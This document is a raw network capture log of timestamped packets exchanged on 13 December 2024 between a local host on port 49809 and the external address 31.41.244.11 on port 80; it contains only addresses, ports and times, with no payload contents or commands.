Dec 13, 2024 01:51:29.246846914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.246906996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.247664928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.247720957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.247796059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.247864008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.248675108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.248729944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.248794079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.248842001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.249659061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.249722958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.249771118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.249845982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.250653982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.250709057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.250781059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.250828981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.251661062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.251717091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.251789093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.251842976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.252635956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.252696991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.252768040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.252823114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.253710985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.253767014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.253840923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.253892899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.254654884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.254708052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.254785061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.254837990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.255675077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.255732059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.255810022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.255877972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.256644964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.256695032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.256764889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.256815910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.257636070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.257687092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.257756948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.257807970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.258630037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.258681059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.258750916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.258802891 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.259630919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.259685993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.259749889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.259799957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.260605097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.260658979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.260732889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.260782957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.261599064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.261653900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.261723042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.261774063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.262597084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.262655020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.262725115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.262778044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.263617039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.263670921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.263731003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.263783932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.264616013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.264668941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.264735937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.264789104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.265621901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.265676975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.265731096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.265784979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.266587019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.266659021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.266715050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.266767979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.267637968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.267693996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.407593012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.407663107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.407840014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.407840014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.408195019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.408247948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.408411026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.408411026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.409183979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.409239054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.409394979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.409395933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.409904003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.409987926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.410089970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.410089970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.410835981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.410886049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.410959005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.411006927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.411840916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.411889076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.411938906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.411986113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.412858963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.412934065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.412962914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.413008928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.413846016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.413892031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.413968086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.414014101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.414912939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.414930105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.414963007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.414994955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.415874004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.415926933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.416007996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.416055918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.416862011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.416913033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.416987896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.417035103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.417828083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.417885065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.417954922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.418005943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.418823004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.418876886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.418925047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.418977976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.419805050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.419869900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.419964075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.420017958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.420836926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.420892954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.421011925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.421065092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.421839952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.421911001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.421974897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.422029972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.422857046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.422915936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.422986031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.423039913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.423835993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.423893929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.423954964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.424010992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.424855947 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.424913883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.424987078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.425051928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.425842047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.425896883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.425899982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.425951958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.426810026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.426866055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.426953077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.427006006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.427834988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.427892923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.427944899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.428004980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.428848982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.428916931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.428924084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.428982973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.429799080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.429862022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.429923058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.429980040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.430800915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.430864096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.430934906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.430989027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.431813002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.431870937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.431942940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.431993008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.432820082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.432881117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.432928085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.432981968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.433805943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.433868885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.433919907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.434020996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.434796095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.434855938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.434926033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.434983969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.435821056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.435880899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.435950041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.436002970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.436810970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.436863899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.436929941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.436984062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.437815905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.437871933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.437875032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.437927961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.438787937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.438846111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.438930035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.438982010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.439786911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.439846039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.439918995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.439975977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.440773010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.440828085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.440891981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.440939903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.441768885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.441822052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.441890955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.441943884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.442760944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.442812920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.442890882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.442939997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.443778992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.443835974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.443835974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.443886995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.444766045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.444819927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.444879055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.444931030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.445760012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.445815086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.445883989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.445934057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.446743011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.446794987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.446866035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.446919918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.447741032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.447792053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.447850943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.447904110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.448764086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.448821068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.448875904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.448930979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.449726105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.449784040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.449835062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.449886084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.450742006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.450794935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.450866938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.450920105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.451734066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.451783895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.451855898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.451906919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.452714920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.452766895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.452846050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.452900887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.453736067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.453831911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.453888893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.453942060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.454746008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.454802036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.454875946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.454929113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.455737114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.455847979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.455854893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.455991983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.456804037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.456865072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.456938982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.456991911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.457706928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.457762957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.457833052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.457885981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.458740950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.458796978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.458868980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.458920956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.459652901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.459713936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.600110054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.600213051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.600249052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.600285053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.600300074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.600301027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.600301027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.600393057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.600656986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.600774050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.601330996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.601397038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.601419926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.601469994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.602221012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.602277040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.602338076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.602385998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.603204012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.603260040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.603348017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.603405952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.604193926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.604245901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.604315042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.604363918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.605211973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.605263948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.605448008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.605494976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.606190920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.606240034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.606374979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.606422901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.607222080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.607275009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.607326984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.607400894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.608184099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.608241081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.608335972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.608392000 CET	49809	80	192.168.2.4	31.41.244.11
